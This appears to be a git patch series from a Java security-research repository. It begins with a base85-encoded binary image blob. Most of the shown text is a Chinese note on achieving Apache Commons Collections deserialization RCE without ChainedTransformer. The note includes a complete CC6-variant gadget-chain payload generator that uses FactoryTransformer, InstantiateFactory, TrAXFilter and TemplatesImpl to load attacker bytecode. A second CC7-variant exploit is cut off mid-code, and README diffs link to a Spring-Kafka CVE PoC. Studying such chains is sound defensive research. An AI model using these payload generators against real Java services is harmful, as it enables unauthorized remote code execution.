z&7Z?g6mZ;XqRSmPfZvifzuT1)`-=58H>R^ULvu=RU&9&4O@j~&rK#l*5?|86WR>7K zG*d;lXx%7+Rhi{^AhRhiFC_fNtI=Dr;_3-e}c? z+eFFDwb&??snJj0S;L!S7)8n9*%j)*^ue_xgR6aAHep_loOgbzTG|W8zVnO21z*SO zO3-|%1d;UyVjbbW%B$3^zPqoXLzakdPUSEF0;If>(j7}yAt0{`#-qMhJbK;tI6PBz zA=9WEINO0o-9U$b1Dymn1>W}I2P5{E2T?z=ksE%__!ym3NgI{@II9U7Yo-fl^!jUZ zUKZ5ca&?aVz3+4~CTKnpsyGUG+^7z#-mV|p8(A(jH4a&t67Wf)rPDyJU#|`8%uDm8 z{_OId^LywT&M2<1xS2nB`Q((|%pu>f5Vl^4&64Ipvs@5uqAs4(D%j&hR-dWO*MTEn zB@j6+y(YVCU=5iK$8HETYN&CQ+N!`%sXGXOVlF$wRG6m01?wKY?(e&15y@v3#F&eAD=eC}i`G z7Pl)puVWF7qUhx5Zd}(MtleGW$wROW_m--~G(u=A$7B3Sr0tJP3`B?HTi*KDZC}W~ zSvLA&?wF13_%p(xWB1`lV1>OLyBXKU>k|vZhv8&nYbJ2YOg6Z{Cr)12KhM(aK9S{1 zKC>xV+ALa!w6ZJQdzt^4+OmH2(VV~1+ZA#lI*1`y-q%`xH8fT93*HU`c?R8)ryK@marP`Zcez*T{EMNf_76 z)f582qF|)T{gw*qoV3KFTxBWJc!)qX@7WYaN1ZlHDcFO@mu605CjZw61!1FZS{*Ri z7p>XZ#0M%c5kJFQ8jE8HQV?yb42XFHmW#~r7cI$*sr};6^?_)Ar3^3OtLO!zHrdgo zlF+#%-=FhHA=^Z3%0@JT^FcxKpZPCcoV*a~iubm9#|6-f&{i1Ev?7HOXY?Xx@b<~5 zMPNO#T?jje74KZOu}l4f{Q(tG5)7VgRuoc8D^`MwUKBUZvmy+gBI*~n7B*|QKI!#< z$^nwJ0bJ;-Q$_kg&#}PMjOLtZ5+J!nJicTCf&S8s`^-7yFf-;e}&4 zOF5SFL;@=)+6fIhKm1x3YDXFiK6yV0VMeT zg}=YJvZ*PeM>X|Pk4o0Y@R0ikR-*NX>B0u~l$RtsHBSvLjtRAG{t8@X^nFxunaTS@ z4fCN++rD%zzgZ?^*O!iiO@ah=$f+Dqk%$97Ee)iQK!&`niXf_V9}(?@k;T>LO&zXJ zfD^?+JW6iaOsm5}zt@PkpRzAlr+SU4?8;@744c#&a6XX5vLus^5|3vMr%iF;z*$^@ zJS~e8G>tU^WZhLlc0NBilF~#QZ*aZQJo{)JdYo&c+YV4RXGOdWwr@e;pB!_Urj1Ee zc^bW^u%;nT{Af1;u-wg~ZPUri4+Ks#-rf)NR_TL-kgPAdP1gP0n!YL~! zFK+E>4>7MH^6Q!qHbZA<99S4qaN`0$#%JNTne5_-Nz#}t_Mr?gowQUFR*zxMt`o_! zDw$UZFrs%Sd17(B2)Pf~IUApNIsY>d-PVF!oIV_H*$RFFluh6Aea4N;B}SIhSR0xe zV%cAnTp`K!RA!tsiDCf&iVU}$fbo-{_>^qJd?o|b+Y-~+ySOM2b8p-tg7dyI7a@pv zN$|(HEH{Det<7u+c6`?9)j9daWuNf6arf6ayy%+7c`fQekorq1%o~rk`o?@a<7A9D_3E{p) z+V_78n-d~k{`0P*XX7s_iuPa}|Ncdi91;KisEr1Rp1d4iKxInuzV4D0EYK) zo*cj^!licXlq0yYsr}2)jo@XOEPHZb}HC)G2F>yzt#)!Zlw4}&|*G<*fsJ|MY zWfI|hPgpzqJ&|$wWg&Z;B_*IJ6G$oPLb|OesABr$GKVzru0r+;K>upUF1WmK9HAd|eV%R+^ zIC|Vx`J}$Y6n@u`!Yncf@gf6Ku%0CV^oGEHo`!`J4gNzG(hgdB#|Y4jn&X^!-br?^ zTAFfjJNs%u=!uzZYD|D@G2d=3N78}f*ib!ghZnl%N<2IDe(nJT+)kl5Fze&hdG_`N z#fez{GhW}fu_tiBQY5h9(%00D{u%k7_Pu`abpqsGylAA!HUyUXc%(5qUdYn_;d_w1 z^!#NvcmRGh#$xgF!RWZ&BWN&7lX*61SGY3uXBi$Dcw9@u-<*=-&DZO*GGpvZ{uJN$#cBOJvP~HUt-=nO@ zp`Y2&Ug%U;@;i}N5wCOXrOvv6!J&3+Sd85F!bWk=#jD%@6pQE2jg&}67~bLk9{nIG z8HgPIaXuft_OO6h7IF%E$R!be#S>ddw}pNBeDrS2c&@9lGkQ-c-2r1aC2m&@&gC9f z=E5~>#j3W{UP^^=38wGgxc#0MFl}K1U`3usXGj+6_X-1c=zzxn&h^A4)h5wQ8KK! zBkq~;oO<^sov4EuG9^$5L32z;Knm8X{ED<>Knz4oqF3NGl%>J{Yt*Oy�GNF(jM* zW#s5uEZ`qf#pe=PhI@*e40wZvuC>PR)a*{O&epT#e@lyc1D(+vplfMAULg0}M5Yo_ zpXi9PH~3ZyduAwhJ(juAXp!jea5CD39K{_=z?{fv!Deb>)`9I*h=UTC2u=tXq_NBPK;fkXYJzt3zgf&N$7- zo{0WCD>^3kQnYJ*1xAk|I8U1+klngm!x##yT{M0t#wMjZ?lJ}i+RUUkYsS&6ghqJ3`Wd4pX9qu*zDM0ySuyQ{L)dOIZPw;z$hg@kyyZ1To~e@ zo(zM`O1F|{m?}>Zc0wy8*~XyBEVQL;fD%a1V@*$wIx)*NL5wUeCxys&@VR&*yM}6S zTxuPUQ**J+BT~8+LUEp0LM6D9=ZXI|{2Ka&7q+~xf6vFCSw7E?W)dTRXH0=%P(Re9)HIdA`0o$ewIZaJslx?sZ|)#@gr~HN z=dts%6l;zwgB8mH%!c=gnglka8&HePDMU+xcyn{d%JmKzv#fEbZRuPA05yk^#N-G( zw4lz<2$oA4BQoA(qoAly@0R@{9X08Oo?NL((YP0K;|cR<)1>ewj|w-2I=5^rbnT6U zQ`WulMGn)Vmm*ifEMFdz7b^}uR`NjRP&>f`vjsDxE7$^>9g5&X6@p0p!qFn%A{U?- znwVerXP_`WYB*&xpDo?(mj$-LkiIY>+{U;=88X+Ph<*ar_^mk)djE#cF?=t6=8MfQ zQ7+67nA9s;C&{CS))OylpKeL(Jg_dD?Nr2KSNgfZt+Ju$Bg~DV6bSm4`|?@h{2>Cg zp5V$;v$|uCTCy!)ACR+4_3x3I`OR8=>q?XUKHkjv2+Qe+mCj}w=c)b#l`p3bkWpZ3 z9=#ZIUPePnWYi%`c*KCF&@xckSJg0(t+gGn+yy*Ro&`4dm&TC6+DzX_ULtP5rxj;t ztZkJN%LO4267RzewONu)x6sa%NHASDd0FqB+@4G9K$^yNGm~_mOBQKi(BVt~|LtOK zrQ-o5VBaJd2b8>&_?CtxEUC|K9nGpN^DKCHV%I{6BPn8pI<&Bdw2bk4bWP|s7!;}D z?35pbgKH0*srKfip=jo7SB_5U5yLo@XXYpjoW`lRg(2+!5giR)N(<|5q-2j01z5@& zDMPN!+R{wGLF)$ks7pq069SC%l)U^>d;@)IW6#`@eQ+xR_hAi zS83N2j^;A5ChPI8Jh8xN???X(Gp!oN1u&>@=WgznZOjsw#Qqllswb>`ia8HU(5h#R zJFGJt3Sr*UsxACfooH>Fmgt+U?IC`G@O%vl$OD@SP4w2@+?}=}a#-8R5~VVaFZJ;a za3*C9Eb!g-V|y~3Bh3{Pf3Yb8CYj#Z$@Db$X3>`D^~$v!A;10{o?`oooX(_;^3|TK zCC9J9;J7*w!FCN(v=O{-b}kFWW|U)>HxV(0B{kOLe@rFqo9jExR0R3UUbGB>u8CJK9X5NXEw~Jx`nHv@P@7N3s zr}BJ#b0hnNw{RgrIP1`0%4UUh#{P5U9??G64N4!Z!Y*lgwpAN0VUg*r<~#aAr9?34 zV934FK6^E8C=fky|6ecPOZ(SPl1j|ZI$T0nv50PajezS#?h{6F`${WzQOYU;pN}di zWv0?#wecL_D$O8u6k(SWEH8@D61p>2ww|M4b#csUIkOk-l;U~=<&xU)JtWESaBq;g zFGZ@n38r_|Q41KJgCtrW82;fTy&sX4g#J(>n};hAf~U4(J)u4lw~jxx=rKBOrY@$) zkyKVzI!rZ6roJkDGq*lEvZtypqy0fHw4!SZ)l-yvS+JNq>L8UDUVO^BDy-i;Xl!gr zH7z+}M1W^fx4N(X?u`wpY?bqD2X<{x9J;f4P|>eJGUde_?afPI-!8hZXGhF+!aGp0{`?c*?huiVQJ&i zy%f$$u>+;a4T)u}NnYb-Fx1e9992K84?54+<=>VURXoW{3fAVBzg2bR%H3DRo=M{A zyW-G*;>ysVd0Z144t@rHQsi*2;&cnf4+{m!2-7CEGkj4s8v4e?MOJKn=WiQMf212> z;Qu|pwytTm4L9|tBhQihT89x>j-@RW8hs-*N*qNL&G{%dNTOQZN^Tvag45`e4GdYJ zKEbi_Rpv=t^fWs}WN#44dUyC~eZ*jYJ$iclG}uauw#l=7%3E>7l&EpV-L&kTqtnk% zy7(II)GW`3mxX-naa1mbu>%LYt5lH$(jwLA??k2T31Jz6g}vBo?BW1`-Lc$H4C2jg z@7}G0QR$vWc}L8F(aeu>ngN7GEf77B31)3?TZsaatOPdkk_i$7g`r0-Cm~W5;&S|4 zlHhtyi+>&p81&DY8f7IXQ1#9b7bjN((05dcc|EJgU zjt9~G>GMTC9%tzp+m9|zjQ$x69G|IaPQ6=6fV|gblIWnJTTE<*^ldyaTkmgnDh*N3JI1zzSge4Ls@e1zQpgCN3z1l3O$Te%oXv2k#=B# zq1_T0Q*{n8zH?2zeE51S zH^z5{y^X*mOF?x+@4S%BAx9qQr_XTw_6iCxd*RS$u~@ltWVzQM8QfZLXzY;9h56*h zdfps0LoDkHJp-cGMtzF}h%X{=pvRvRnfjG@Sdf^A%xG;ko&2`83a|i?)7NT{KP|Po zYLP$HP=kImfn#W`AuxM{4-wMIz!ymz*56bBEImydXZ_|2pE}PsO!bSj!ISUo<6!QV zu=!-ae}e7n*VKPQyA^c)j&V-@sp>*bT$!6_TzKbMy@*2In3>C3nv`o1+O={-(?cNq zO&-7^_Efj=j)FkMIk_`CS#tFL497A2t$p1d>xDD8xbR}kLkZ~{_F^OCuq)~#$N%HH z-g~KHt?hG(@xvm>2onm6{ptSNaZutr)e(Arl8HVSgq{QftbcAlu*LB?VEe1*wEyx;>LQ2p*ilNr?D_%cI!c(7=o{B6el>J! zgT+(Ez}?O{kC4-5uCXmHpi((5ZA-7UvzRsl*Ft`~Qz2o+La9#}m8-~+EYI*cplGoo z3znlynNVUMEL3o;&g(ynjXa2*m1?|wO3Kt^eW1orWVS5;<%BjQ#~E5C2*BB5jtaT& z(B)Qj&D_W9si?)qX|g1rcp1<6K%+?9*j{{uOp32?QQB-->AutYbJ{ooKk2!$GOchg z+pe7?-7quCq&DyOw(!h9)NN27yfmw!o-pGBj*X$5EwVl#3(qd`9mt)hnGy)ti)Dlw zp6j1E--Q>(2#oBu&{*Kh@Roen#34)b?sx)w$%@gIy73SjEY)kBt2=BkFFtM7ZfVxo z9@Nj)!=kH4szW5`H=J=ts+=HbODHU;K!iJRu%LmOGH;a5d-Dqd`+-WZ`2gWT3&0p^ zC;C$&rmg%){~I{JmIIxO7C@eUbTeOtEs4Oq2bT;GTztRVi|s2JX?qx}?GGFxvydG& z3S*4IJ|p)1y%6uiZHekRh#qdO)-_8C$YKK)%z4}m8VX&*x%67HP3%mVR0Lq|2znvy zH+v3yqw^=P={PkIg~bfg#V*cnO;|dp_~dIcr*-8X=OoBkQa_D3=F&@@`+e&JH&cK~ z1z_AtD$}1WzyoDcqN=P<WB#UvVgjBOdGds`6irThKqIE8oZ&O<6At5eNcys< zuAf!e(+r>`z2#TxU;@q1HU#Q5!5UPo>;wQLSeHjH&-P)KM6#e2(d?~Mto-v_)1>1F zV0fiUE{NpdqZ`U8ImWzxE6CPA zWPq~;^IJi*cwVCH)xk2&fBLcZpMU;)KCo0R;`G13>RZ1`mueue9ttz9fo@h z-@(cJ--DX1&ze_+^P;M$l^t6@t1_sSG+ju z#i7oB(MyBJ@3TKV$W4{zeVtcm*w+44p~`t#94$M!!+C(SlSG#m^^EgGu%l>|fm>9$ zo!r=>?P@N2M4~dDCX|qSJhU4>Y|LsNHVXO8bP;t`5~79zcYsJ$?rYy5c9QLT$>00J zImE43;DWx1cJe(`?m3#N)M9u*XpiO3NwY-k@-DaI)A3Fw>!tpbFGA0uA=5ZGed*A= z4~Q5kQs1d|MH;R>u8C2aySTXA&r!ibFwZmKsBNH#UcglnHJ0&V1$4KFb48XIU9Sr~ zO|%_RQEZDQ$L7Uz4`A6s2Pkn*WO@=9j9uJyO?@Fk$v(aFWl%a}_hjx8tb@l)N+)vT z9IH3PjI+db+1!rE*1@eJ^0nD*BKRjcgo=h1Tqoz78D+!}TQ}d9IHl=Whk1iv*LP2l zb=3V463DP&wQRQ0SzKa2GjOl%dKL0UgTx>Ro~d^CUo}jmrSczvvizb_3wH7^6dmbS+qs&uWiiNG6twTK~9xEA6B)?pcnz2jNbTJQV8 zr((>9pB5Wz&~J`1^(bqvO^G%(dr6>Cjf<4~?FUsbu&g(WBisc6=P^7DU^I>=@X(gm zMDU-yqF_Z7>>#}WWnRy)IvMqLV+nMZ)utG;A!Tt%a(48oO?;!cj@979JPcGs zslgNuz1sV2x1@MH`T`Wl2BL6xW}B@$Xj46-t+Od%v>w^jq^u+eG&V^i+b_}=bv)fM ztns}y6=rkB>r2isKJDa%xV;v6&D(zcc#9$!bZ0*K%Vd5AMucuPS7PMtF%8f7UU6ut z7tBF?W1Z5lOTCZCau6Qr7>MevTj-*x{UU=J8N>`l9K0cJQJ>$E@&yx`js6Lim}L}< zr(syMrH_OxohK{>kM+qB(8K|7enk-65l6lO^MbBk)#-?ZZTI&YU9lYK_)Bva|G70T z-9s4B4RMsXtyK82VOLYSBgWyE6o|!T)}T07|Jy5y$i;D_XV1>C5Zqw4?f#klST~Rr zGPm5v?YtshMzQGw(-;e4A~JGlt6`Twn}gekfwfN%PQ!(6Q8H0dJ}EkT0E~p6B0FV+ zLQWsgE6%i^u=X>3-H|-Nw& z#9w7Z4>bFKsn%C+m5VBFRU0BJy7K}+V=!Wk_UHo?On{#P*EP?R?)$lh6E?v1ns>`| zev@`HWg!^`=_}zoL~-!AA9ts-(ywM7Tw?=E3cjH51cs+|j&c5z>OBTXt4usT6{_Va386yuKWeYh} zE;=r>G%9bE7nN#+^+3c;2o@uW zUp|a)38VJ4RTY6ITN@IuA`XCz=b%d zEwNN@0>fs-PTrI^hj7lUqd;%rFl7IH7JWz6?`lJ;;3)+|TO6yG(ITH$FK2F^YaWVE za=a>LW%+t+q)@3z@{`)IE5^2-6mAEd%9R$VtH{%_w<=4I3u%S)oi zUOP3<{0*j2V3KU%_tNDC0Odiuvf*XFUx#wiVW#A13&ohRGBYy?vW~>WudBz)UthnD z@LwIkQ>jB4ShtIA8t9^6_ekx*$F^r%1p0yB<*+Gyz42YG-)*VdY=iP*2)BVi9GFP9 z{7NsKMy*M~Kr2HFzg35P@njDv;xXPR*8Ugq1A+L>RcW{5k8ktj8XA8UtbbU&kF!0) z=x*Wz`XQJOJcJh25XHy`?v@enK%3E11o&abp1N?1xsO?S-z z8N79{;7G-xBT)#92rk?=@~$)QjR&3vO~N6=ncrAr{ndX53* zt3O*0t+CDug@x@-?szKN*~f8K zHiD8Y6uzF{Yg)`f;J@Z6q?R>eSQVEm(@k6{;$LrV4z_~YSf;s&xo4>YA8PWK>ZgOI z{0x6WE)h)Xjj43#TMVAUHdW6l=gm|U$=s%5m$LW7tFi)s2FxDStwOr#aLhR24bBu{M{V;uNN<=1wa%`2Zz#UHFFzojX% zwJ~r`2^;i$b;K1)_P^d?o>b%?T8Gf(N) zFH_g?RQpa1{=dtSdC8@;Lc4ID{_vL$cW<*Yyp@}4e}qu^LYb-;ifnE#O5?S9dzFAIaX4L}!$Y|*bX+N2!#XHtNso!hIB-lq-B zO==isHl&<>YfrJe#&g$L>69=IIFeY$g85WrowQwG51GbBOg^@8R60Ca3Trz0+IQX- zOq3Gnf~^IS0O#k{RL8^0VGe_HNrpn8(wDht)t<+ri4b~6u#_b$3qhxIio}Q*NRjz9-l<9&kXpRX+qznWT2=YJe4#@J zOlHgva{f!NZjzz1&!unK$i9L-0s-txX6cI|gN4@0s*P(m@-)zc@op^a^w28Ia+-fO zBwZ{QjnP=HFPRU{?p8;|cA@X{G3F(hxyV|qnmXQ@7-=wuCPH5^5cyfLt@ubu z27Fb}<^COo1h@~8dqs!CTKJPTl4VKNiqM0S0rv`yWfj}E(yIMUWXeZmhM)cuIWE>- z7-XujC)BA4dEyfAZUOT5Zn{wS-jD?tD0JiA&+bj^K;4B**d<%8MyijaTD;&3ox zT+@?lz7w~uX6y~Tx0f3EF}6-sQ7b{q^(%?m$)(#VWY+0xgS>8W8Wo-Y?Iuoze@91P zX+tW|K&&BmD>?5mT4!UpyuDC6jb9%6Wz-zM$uZAWCCuUM6peYZAR`HqWZ+WpM5&PO zmbccXc24a}h@m;l!+R()e84q5+A>Dl*V-H@h1hZY=HMPzr3#3C%M0dx#0EjJJkwX$MjVNx>8aSJ#fT#W1x33p4xWSzO*Wm z=fStW_?(&~+v2nF*N#4QV7$dJVM+bt^V)AeMLlT6XThp}(4yjq3rq9|KK^GvyY=ss zt}OB%u0ZiPaOKP=M`NN@%a&)JZpCL~BFk&{LZ2YMH%TKJ)F3b!8x(ov7v7C7w-oJ2 zX_jV1viI1(jV=xrbNRm$xU2?vl&O0BLQ9JTb|C<7gn+bXiRgRAB z2DugWB(g;f9GCz(vfix@ohFhA8s?UCVLdBPBeV3<1WKbrVu%GpC?syV$1cb-zg6Oz$XP@ZGOA3R_v)Ea#$w3x2{pfhCEo74MfoG zJzjEzs6?EudwOcJ%&;t1k~_r{i@~1Fpu=$X8r%46m<|8b3!@-sFLn$EoTrOC>L`a; zcNXmwa0EJehbo*3*=fGLNK!xZXo+L_^?fgphf)hF8E`u(RG+}&cr6?&>yz67$NJsE zg7b{Fcxh(>C1$bsLWETxTca8!PqARqBA>y?keahEbM{5=LrP)_HSo7SYLh0EF^x;* z%HupBJ=J@w_n9y=|R>l@FNUlu1S#%wsj}iRRtk^ zhf8eTOctW;Uu}nbstHolB;<;qziRQ{6E-{XW4NiUi(35hxm!Fi|8z_Uk%T;;V zXu23ATpNU3vrkfZPr7-e35RF{By?YV{@2gv z=`X~kabqY|IYIGykwEscMJn1FZ5C{N!tXo0t5&U_ic4(0l<AGzwmufo z$4FYmu4&IB$fc6?WCdMKVZ33T!9mun_!UpO&TdOji1x%vWV46afnndT;Yc2KK!yW) zCsQL@+n3&Dx^rF8w|4b{OIa;5tX>SBkBi*q5+kOnvbe}RGRQ*)0h!v!R@l>Sb#%Jl zV>wT;M?RB%+R3WFljpb*si4OA`?pE+n71P>*A}V_fojrul$uBb7zX4XJV3OBR|y2m zO%8s5gx_CHtl>|L;m1{>!ouynka2%2@_&_`Kva#0za3tEJTm`w)Uvov_PLwWY$wT~ z+YKCbuuYJfG-Hb#HNPg5D9eN)hb}KA zh$_qX-;URamNW=u?}xSg3{i~;shV|;aCNyfqlMC5V^zJb9uX!ziHt?hopQwOAzI3) zgd09tU}R4FG@+6@y%ltsiy0o8-?Sf><+V_(IBhSDqv4VKQ>)B(ySkyf&<;+--H?k& z({b1zZQ0W5a?R%)wXXIWboX{FDpQL+wK1vOnIL5`SeN%?Lqv|WB7VHPv@bHzDe(&< z*89#fq5+t5N=NUS@^x<4%Y~0p3)XHDWkmJ~`%7hjAh~b34}f~^Wb_ZQ(Q8Nq8Qjbu zJKq9+jzbi%ai)#~cIH}lvzg%OVkDA%k4AC@4TC1a3P5RS;1x3YXTZ%NYopXRZSJ+F zthR+pC_k0cmu4t2PLJ!&ZK5PNW4kkMs-z^(R`KI^|UQk}IQY<_Jm-us6LW))P z3NMbdR=3m(iHwcI{7f0kyhcloY;!&!X`?Rv^l_Msj*~2FBuiS3jyOFJz+ggU3p|8* zG`jq0PO+DCXY)vq_R=(8cb0E=Oihg0Qiicjv)=c|G?}cA6~IWUA(r}N^uUaX3_s!9BsxC4T7Abf0yCif1j+V z*kloZR9)e;?jRPpSa1Bi2uDNk=Fm379#5}xz1*m^e#JEZkMH4xrnq{8h?_L>B1^M0 ze@&=d@+JwzEQkZjhtl`u#}|veSscV?U9=akiCQwG>Rl|OKg)3T)vjO(plAW-zCqLz zFL_T@ob6<7TQPz*d(PlhQ_t^zs494wS*mmE4DH^1kXf%aRVUx>X8sj?v_gdW!(9=d8*GAQ30})$^jZM0-`6|{px_+E+hX(Bg%RhJvX!gx9X@B)TcG{+6q8EJ za+-Rv)tRn*R?Un{9h(d+5*`>NVpt}Jbipc|u8QVeCktYS!apY<==?%xF^P{2@^WDV zVjI)$Ks`);KAWAMwtYCSB!dTbP?OoM7r@Mo1U?8dWsYu8#OqCajrGDdx>aUR*92 z4FDM3JAU<>gTB3?6@~XVm(zsZX~-ap=TD_D%0&mEz;M*H+Gz15G30w=DfPk|0~(5- zha@#4U228tal~4+GEE==8Y_`%D@EJ-@!r+?I-xAWY*Y5~dWSus_iReWAI_Cb6;p!u2! zhpLZ-d$Brnsgb_UdQb?oN~n^d&Equ;T^hVU_k}xPIbr3!vxjRh1~k@M{GSVRvI}LE ufo)Fmh(~{v8*$Y{SCsK8M@AHL>z|k}P7z=D-BaLt>u}DYzCWM*;(q~AM1@ZP literal 0 HcmV?d00001 diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" new file mode 100644 index 0000000..3738e2d --- /dev/null +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" @@ -0,0 +1,94 @@ +# 不用ChainedTransformer如何实现cc反序列化rce +今天有个朋友问了我这个问题,这里简单回答个这个问题 +虽然网上现在的CC链子都有这个但是我们仔细理解就能绕过了 +找一个Transformer,不受transform调用时输入的影响 +这里随便举个例子使用org.apache.commons.collections.functors.FactoryTransformer +![](./img/1.png) +这里调用了`this.iFactory.create()`,查看Factory的实现类有一个`org.apache.commons.collections.functors.InstantiateFactory` +这个类在调用create的时候可以帮助我们实例化任意类 +```java +public Object create() { + if (this.iConstructor == null) { + this.findConstructor(); + } + + try { + return this.iConstructor.newInstance(this.iArgs); + } catch (InstantiationException var2) { + throw new FunctorException("InstantiateFactory: InstantiationException", var2); + } catch (IllegalAccessException var3) { + throw new FunctorException("InstantiateFactory: Constructor must be public", var3); + } catch (InvocationTargetException var4) { + throw new FunctorException("InstantiateFactory: Constructor threw an exception", var4); + } + } +``` +还记得CC3么,使用TrAXFilter触发TemplatesImpl的例子(当然实际攻防环境下还可以使用其他类),不过我们这里还是case by case +这里我随便用一个CC做改造,就以CC6为例吧 +```java +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import org.apache.commons.collections.functors.*; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; + +import javax.xml.transform.Templates; +import java.io.*; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + + +public class CommonsCollections6Y4 { + public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj, value); + } + public byte[] getPayload() throws Exception { + + + TemplatesImpl obj = new TemplatesImpl(); + setFieldValue(obj, "_bytecodes", new byte[][]{ + ClassPool.getDefault().get(evily4.class.getName()).toBytecode() + }); + setFieldValue(obj, "_name", "HelloTemplatesImpl"); + setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); + + InstantiateFactory instantiateFactory = new InstantiateFactory(String.class); + FactoryTransformer factoryTransformer = new FactoryTransformer(instantiateFactory); + + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, factoryTransformer); + + TiedMapEntry tme = new TiedMapEntry(outerMap, "y4"); + + Map expMap = new HashMap(); + expMap.put(tme, "valuevalue"); + outerMap.remove("y4"); + + setFieldValue(instantiateFactory,"iClassToInstantiate",TrAXFilter.class); + setFieldValue(instantiateFactory,"iParamTypes",new Class[]{Templates.class}); + setFieldValue(instantiateFactory,"iArgs",new Object[]{obj}); + + + + + + ByteArrayOutputStream barr = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(barr); + oos.writeObject(expMap); + oos.close(); + + + return barr.toByteArray(); + } + + public static void main(String[] args) throws Exception{ + + } +} + +``` From 3ec5cce180a9a85cd4a5dd9d6f66342ff9e6ec29 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 6 Sep 2023 11:53:00 +0800 Subject: [PATCH 060/113] Update README.md Add CommonCollectionsWithoutChainedTransformer --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 1b3e845..35c3c76 100644 --- a/README.md +++ b/README.md @@ -58,6 +58,7 @@ - [CommonsCollections6-HashMap笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-HashMap/CommonsCollections6-HashMap.md) - [CommonsCollections6-Shiro1.2.4笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections6-Shiro1.2.4/CommonsCollections6-Shiro1.2.4.md) - [CommonsCollections7笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections7/CommonsCollections7.md) +- [CommonCollectionsWithoutChainedTransformer](https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/CommonCollectionsWithoutChainedTransformer/index.md) - [使用TemplatesImpl改造CommonsCollections2](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2/%E4%BD%BF%E7%94%A8TemplatesImpl%E6%94%B9%E9%80%A0CommonsCollections2.md) - [网上看到的套娃CommonsCollections11](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsCollections11/CommonsCollections11.md) - [CommonsBeanutils1笔记](https://github.com/Y4tacker/JavaSec/blob/main/2.反序列化专区/CommonsBeanutils1/CommonsBeanutils1%E7%AC%94%E8%AE%B0.md) From a5ddbc1785346f7b6a960ee1a1d8e9e9567e6319 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 6 Sep 2023 13:26:11 +0800 Subject: [PATCH 061/113] Update README.md Add Spring-Kafka-POC-CVE-2023-34040 --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 35c3c76..12dd21c 100644 --- a/README.md +++ b/README.md @@ -369,6 +369,8 @@ - [Oracle E-Business Suite Unauthenticated RCE](https://github.com/Y4tacker/JavaSec/blob/main/16.%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/CVE-2022-21587/index.md) - [Exploiting an Order of Operations Bug to Achieve RCE in Oracle Opera](https://blog.assetnote.io/2023/04/30/rce-oracle-opera/) - [Oracle Access Manager Pre-Auth RCE (CVE-2021–35587 Analysis)](https://testbnull.medium.com/oracle-access-manager-pre-auth-rce-cve-2021-35587-analysis-1302a4542316) +- Spring + - [Spring-Kafka-POC-CVE-2023-34040](https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040) - Nacos - [Aliababa Nacos hessian JRaft反序列化(文章里提到的只能打一次有误,后经过研究可以打多次)](https://y4er.com/posts/nacos-hessian-rce/ ) From f8ee767aef8e73ea8698891e9a4aea24473824c3 Mon Sep 17 00:00:00 2001 From: Y4tacker <56486273+Y4tacker@users.noreply.github.com> Date: Wed, 6 Sep 2023 22:42:54 +0800 Subject: [PATCH 062/113] Update index.md --- .../index.md" | 76 +++++++++++++++++++ 1 file changed, 76 insertions(+) diff --git "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" index 3738e2d..5a06827 100644 --- "a/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" +++ "b/2.\345\217\215\345\272\217\345\210\227\345\214\226\344\270\223\345\214\272/CommonCollectionsWithoutChainedTransformer/index.md" @@ -91,4 +91,80 @@ public class CommonsCollections6Y4 { } } +``` + +或者配合cc7的变体,这样transform的参数就可以是我们任意控制的了,具体为什么就不讲了,建议复习cc7 +```java + +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.ObjectInputStream; +import java.io.ObjectOutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Base64; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +public class CC7 { + public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception { + Field field=obj.getClass().getDeclaredField(fieldName); + field.setAccessible(true); + field.set(obj,value); + } + public static void main(String[] args) throws Exception { + ClassPool classPool=ClassPool.getDefault(); + CtClass ctClass = 